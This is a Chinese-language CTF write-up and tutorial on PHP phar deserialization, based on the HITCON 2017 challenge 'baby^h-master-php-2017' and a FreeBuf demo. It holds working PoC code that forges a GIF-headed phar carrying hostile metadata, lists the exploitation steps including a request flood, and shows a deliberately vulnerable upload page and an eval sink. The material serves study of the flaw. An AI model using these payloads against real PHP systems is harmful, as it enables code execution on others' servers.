初次接触 phar 反序列化,看到 ph 牛圈子以前以本题为例讨论过这个知识点,学习一下
题目
- http://117.50.3.97:8005/
- hitcon2017 的 baby^h-master-php-2017
- Dockerfile
思路分析
判断 cookie 中是否含有
session-data
,没有就赋值为$data-----$hmac
,其中$data
为User
类序列化后的字符串,$hmac
为$data
以$SECRET
为密钥,进行 sha1 加密后的字符串$SANDBOX = "/var/www/data/".md5("orange".$_SERVER["REMOTE_ADDR"]); if (!isset($_COOKIE["session-data"])) { $data = serialize(new User($SANDBOX)); $hmac = hash_hmac("sha1", $data, $SECRET); setcookie("session-data", sprintf("%s-----%s", $data, $hmac)); } class User { public $avatar; function __construct($path) { $this->avatar = $path; } }
有个 check_session 函数,获取
session-data
中的$data
和$hmac
,并进行三次判断$data
和$hmac
必须存在且均为字符串hash_hmac("sha1", $data, $SECRET)
必须和$hmac
相等$data
反序列化后的结果必须含有avatar
属性,这个avatar
是一个路径。最终函数返回avatar
function check_session() { global $SECRET; $data = $_COOKIE["session-data"]; list($data, $hmac) = explode("-----", $data, 2); if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) die("Bye"); if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) ) die("Bye Bye"); $data = unserialize($data); if ( !isset($data->avatar) ) die("Bye Bye Bye"); return $data->avatar; }
获取 get 的参数赋值给
$mode
,如果$mode
为upload
则调用upload(check_session())
。这一段的意思就是获取主目录下的avatar.gif
复制到$SANDBOX
目录下function upload($path) { $data = file_get_contents($_GET["url"]."/avatar.gif"); if (substr($data, 0, 6) !== "GIF89a") die("Fuck off"); file_put_contents($path."/avatar.gif", $data); die("Upload OK"); }
如果
$mode
为show
则调用show(check_session())
。将目录下的avatar.gif
输出function show($path) { if ( !file_exists($path."/avatar.gif") ) $path = "/var/www/html"; header("Content-Type: image/gif"); die(file_get_contents($path."/avatar.gif")); }
题目还给了一段代码,这里是可以通过反序列化构造出 Admin 对象然后触发析构函数,但是后面的
hash_hmac
函数无法绕过class Admin extends User { function __destruct(){ $random = bin2hex(openssl_random_pseudo_bytes(32)); eval("function my_function_$random() {"." global \$FLAG; \$FLAG();"."}"); $_GET["lucky"](); } }
phar 反序列化
phar 提供了将多个 php 文件合成一个 phar 文件的功能,类似于 java 中的 jar
php 在解析 phar 文件的 Metadata 时可能会触发反序列化操作
phar 会默认注册 phar:// 协议,在用 phar:// 协议读取文件的时候会自动解析成 phar 对象,同时反序列化其中存储的 Metadata 信息
示例代码
<?php // 生成 test.phar 文件,并将 php.ini 中的 phar.readonly 改为 off $phar = new Phar('test.phar', 0, 'test.phar'); // 将字符串写入到 test.php 中 $p['test.php'] = 'string'; // 向 phar 中写入 meta-data $p->setMetadata(new User()); // 可以理解为文件头的标识部分,前面内容不限,但是必须以 <?php __HALT_COMPILER(); ?> 结尾,否则无法识别为 phar 文件 $p->setStub('xxxxx<?php __HALT_COMPILER(); ?>'); ?>
本题 avatar.gif 的 poc
<?php class Admin { public $avatar = 'orz'; } $p = new Phar(__DIR__.'/avatar.phar', 0); $p['file.php'] = 'idlefire'; $p->setMetadata(new Admin()); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); rename(__DIR__.'/avatar.phar', __DIR__.'/avatar.gif'); ?>
另外两个知识点
- 构造好反序列化对象之后,可以进入
__distruct()
方法,其中执行了$_GET["lucky"]();
,就相当于执行一个无参函数,本题的意思就是执行获取 flag 的函数 - 本题获取 flag 的函数是使用 create_function 创建,是一个匿名函数,无法使用
get_defined_functions()
获取函数名 - 匿名函数名字是
\x00lambda_%d
这个%d
是一个 1 开始的递增数列,表示这是当前进程中第%d个匿名函数。 - 如果一个崭新的 PHP 进程,其第 1 个匿名函数就是
\x00lambda_1
,所以只需要传入lucky=%00lambda_1
即可。 - 但是实战中,因为有很多人做题,每个人访问一次网页,就会使
%d
加 1 ,所以我们并不知道自己访问时的这个%d
是多少。 - 这就涉及到第三个考点,我们通过大量请求,使目标 Apache 难以同时处理这么多请求,所以以 Pre-fork 模式启动的 Apache 会启动新进程来处理这个请求。那么,新进程下
%d
就是以 1 重新开始的
write up
- https://www.jianshu.com/p/19e3ee990cb7
- 将生成的 gif 放到 vps 里
- 然后构造 url :
?m=upload&url=http://xxx.xxx.xxx.xxx
将 文件上传 - 运行 Orange 的 fork 脚本
- 请求
?m=upload&url=phar:///var/www/data/xxx&lucky=%00lambda_1
得到 flag - 这里再次上传时,
upload
中的file_get_contents
触发 phar 反序列化,执行$_GET["lucky"]();
小结
不必在意最后的 exp,只需要关注这些知识点即可。
- 了解 phar 反序列化
- 类似
$_GET["lucky"]();
的沙盒,使用get_defined_functions()
获取函数名直接执行 - 匿名函数函数名
加深印象的 phar 反序列化操作
原文 : https://www.freebuf.com/articles/web/205943.html
生成 phar 文件
测试代码
<?php // phar_1.php class TestObeject{} $phar = new Phar('test.phar', 0, 'test.phar'); $phar->startBuffering(); $phar->setStub('xxxxx<?php __HALT_COMPILER(); ?>'); $o = new TestObeject(); $o->data = 'peri0d'; $phar->setMetadata($o); $phar->addFromString('text.txt','test'); $phar->stopBuffering(); ?>
执行完毕后会生成一个
test.phar
文件,其中的meta-data
是以序列化的形式出现的。那么 php 函数在对 phar 文件进行解析时,就必伴随着反序列化的操作xxxxx<?php __HALT_COMPILER(); ?>
为 phar 文件首部,meta-data
序列化内容为O:11:"TestObeject":1:{s:4:"data";s:6:"peri0d";}
测试 phar 反序列化漏洞
漏洞代码
<?php // phar_2.php class TestObeject{ public function __destruct() { echo $this->data; } } include('phar://test.phar'); ?>
输出结果
xxxxxperi0d
将 phar 伪造成其他格式的文件
测试代码
<?php // phar_3.php class TestObeject{} $phar = new Phar('test2.phar', 0, 'test2.phar'); $phar->startBuffering(); $phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $o = new TestObeject(); $o->data = 'peri0d'; $phar->setMetadata($o); $phar->addFromString('text.txt','test'); $phar->stopBuffering(); ?>
结果
例子
index.html
前端上传页面<html> <body> <form action="./upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body> </html>
upload_file.php
判断文件类型并存储<?php if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; }
evil.php
测试用的危险函数<?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "peri0d";'; function __destruct() { eval($this -> output); } } file_exists($filename);
构造
attack.php
生成攻击代码,访问该文件会生成一个phar.phar
文件,然后将其后缀改为.gif
,上传该 gif 文件<?php class AnyClass{ var $output = 'echo "peri0d";'; function __destruct() { eval($this -> output); } } $phar = new Phar('phar.phar',0,'phar.phar'); $phar->startBuffering(); $phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $o = new AnyClass(); $o->output = 'phpinfo();'; $phar->setMetadata($o); $phar->addFromString('text.txt','test'); $phar->stopBuffering();
利用
evil.php
构造 payload :filename=phar://upload_file/phar.gif